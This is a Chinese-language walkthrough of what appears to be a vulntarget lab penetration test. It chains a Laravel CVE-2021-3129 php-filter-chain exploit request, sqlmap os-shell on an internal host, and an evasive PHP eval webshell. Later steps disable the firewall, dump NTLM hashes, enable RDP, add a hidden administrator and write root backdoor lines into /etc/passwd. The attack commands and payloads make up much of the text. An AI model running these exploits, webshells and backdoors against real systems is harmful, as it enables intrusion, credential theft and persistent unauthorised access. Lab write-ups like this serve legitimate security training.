此环境是没有域的 纯是内网

目标ip 192.168.52.130

fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/vulntarget]
└─# ./fscan_amd64 -h 192.168.52.130 -p 1-65535

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 192.168.52.130 is alive
[*] Icmp alive hosts len is: 1
192.168.52.130:80 open
192.168.52.130:22 open

这里的话就开放了两个端口

80端口是存在一个laravel的一个CVE 2021-3129 这个直接去网上招poc来打就行 但是这里的话我就直接用N1CTF的一道题的方法来打 就是php-filter-chain

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.52.130
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 162

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/var/www/html/public/index.php"
}
}

使用php-filter-chain生成自己想要的命令后然后传入就行了

image-20231128202809407

然后上蚁剑就行了

image-20231128203313060

低权限 尝试提权 先上线viper

image-20231128203535851

直接跑提权模块 sudo suid 啥的 也可以看看 但是这个里一般先跑这个 看看内核有没有可利用的漏洞

1
search post/multi/recon/local_exploit_suggester

然后跑出了我们的老伙伴

image-20231129151705027

然后直接跑这个exp就行了

靶机可能没打坏了 打到底还是没root权限 不过不影响

收集一下信息

1
2
3
4
5
6
7
8
9
10
11
12
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:ce:01:48 brd ff:ff:ff:ff:ff:ff
inet 192.168.52.130/24 brd 192.168.52.255 scope global dynamic ens33
valid_lft 1690sec preferred_lft 1690sec
inet6 fe80::20c:29ff:fece:148/64 scope link
valid_lft forever preferred_lft forever
3: ens38: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:ce:01:52 brd ff:ff:ff:ff:ff:ff
inet 10.0.20.141/24 brd 10.0.20.255 scope global ens38
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fece:152/64 scope link
valid_lft forever preferred_lft forever

一共是有两个地址

1
2
192.168.52.130
10.0.20.141

扫一下内网发现是只扫到了我们的这台机器 猜测是开启了防火墙 于是只扫端口来判断是否存在其他主机

1
./fs* -h 10.0.20.0/24 -np -p 21,22,80,81,135,137,139,445,1357,3306,8080,8081

image-20231129153528952

扫描结果发现是存在两个ip 一个是本机的ip 一个是内网其他主机的ip 并且开放了80端口 存在web界面

挂个代理进行访问

image-20231129153904253

后台存在弱口令 admin/admin123 进去 然后就去搜索这个框架的漏洞 发现存在sql注入

https://www.exploit-db.com/exploits/50644 这篇文章就是

image-20231129154129887

抓个包 然后丢到sqlmap来跑

1
proxychains sqlmap -r sql.txt --os-shell

image-20231129154459765

他一共是上传了两个马子 一个马子是可以上传文件 一个马子是可以后门(可惜的是不能连蚁剑)

而且呢 经过测试发现 这里的话是存在waf的 就是上传一般的webshell是会被查杀的

1
例如一句话这种  <?php eval($_POST[1]);?>

所以这里的话得上免杀马 (这里用的是作者wp里给的马 )

1
2

echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > test.php

其实这里也有两个马子 这里就不放出来了

image-20231129155054365

然后上蚁剑就行了

image-20231129155150874

成功上线 由于这台机器是这个windows机器 于是尝试跑一下tasklist 看看有没有杀软

image-20231129155313377

发现是存在windows的自带的杀软 defend (这里本来是想使用修改注册表的方法来关掉这个杀软 但是发现不行 )

于是开始上免杀了 这里的使用的是掩日的本地隔离方法来做免杀

1
2
先关闭防火墙
netsh advfirewall set allprofiles state off

image-20231129155606600

然后上传免杀过的exe文件 (先生成c文件 然后免杀生成exe文件)

image-20231129155804322

image-20231129155824812

使用方法 Df6.exe Df6.txt

image-20231129155912721

image-20231129155944997

主机成功的上线 然后开始收集信息

1
2
3
4
5
hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
creds_all

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1
-------- ------ ---- ----
Administrator WIN-JJJBQ4N87RA dfc8d2bfa540a0a6e2248a82322e654e cfa10f59337120a5ea6882b11c1c9f451f5f4ea6

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-JJJBQ4N87RA (null)
WIN-JJJBQ4N87RA$ WORKGROUP (null)

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-JJJBQ4N87RA (null)
win-jjjbq4n87ra$ WORKGROUP (null)

这里其实拿到了这个system权限 这个管理员的密码知不知道其实无所谓了 我们都可以直接改了(或者新增管理员用户进去了)

1
run killav  //上线meterpreter 获取高权限后可以关闭杀软   (记录一个命令)

然后开启3389端口 rdp进去看看

(防火墙也要记得关了)

1
2
3
4
5
6

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
1
2
3
4
5
6
修改本地管理员账号
net user administrator qwer1234!

新添加本地管理员账户
net user Ke1nys qwer1234! /add
net localgroup administrators Ke1nys /add

随便选个账户登进去就行了

这里最好还是选择 第一个用本地管理员账户登录 因为这样的话能看到原始的桌面上的东西 用新账号的话就会出现新的桌面 空白的 还得取翻目录 比较麻烦

image-20231129161626872

登录进去后 发现有个ssh管理工具 然后有个ip

image-20231129161805657

然后这样就可以拿到账号密码了 (其实账号密码就是刚开始的管理员密码 Admin#123)

这是一种拿到该机器root的方法 (挂fscan扫出来也是内网就这个一台机器)

接下是挂二级代理将该ip给外带出来到viper上

image-20231129162129645

设置好二级代理后 直接上viper设置监听

image-20231129162249739

注意好设置 然后开启监听 生成elf文件

这里注意一点就是 先将elf文件转换成base64编码 然后再传入该机器中 这样才会避免呗defender查杀

image-20231129162603422

image-20231129163003466

md 不管了 反正思路就是这个思路 可能靶机被我打坏了

然后还是和第一个靶机一样 跑suggester来提权到root就行 结束

接下来是记录一点东西

除了定时任务和写ssh当后门外 还有一个方法是往/etc/passwd中写东西

1
2
3
4
5
6
7
8
9
10
11
12
13
生成密码: openssl passwd -1 -salt admin 123456 
-1 的意思是使用md5crypt加密算法
-salt 指定盐为admin
123456 明文密码

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd


echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd cshm #修改cshm的密码为cshm123

echo "wxg:x:1000:1000::/:/bin/sh" >> /etc/passwd #增加普通用户账号
passwd wxg #修改wxg的密码为wxg147258369

总结 有几点好处就是体会到了免杀 之前打的靶机全是那种理想环境 (缺点就是没有域环境)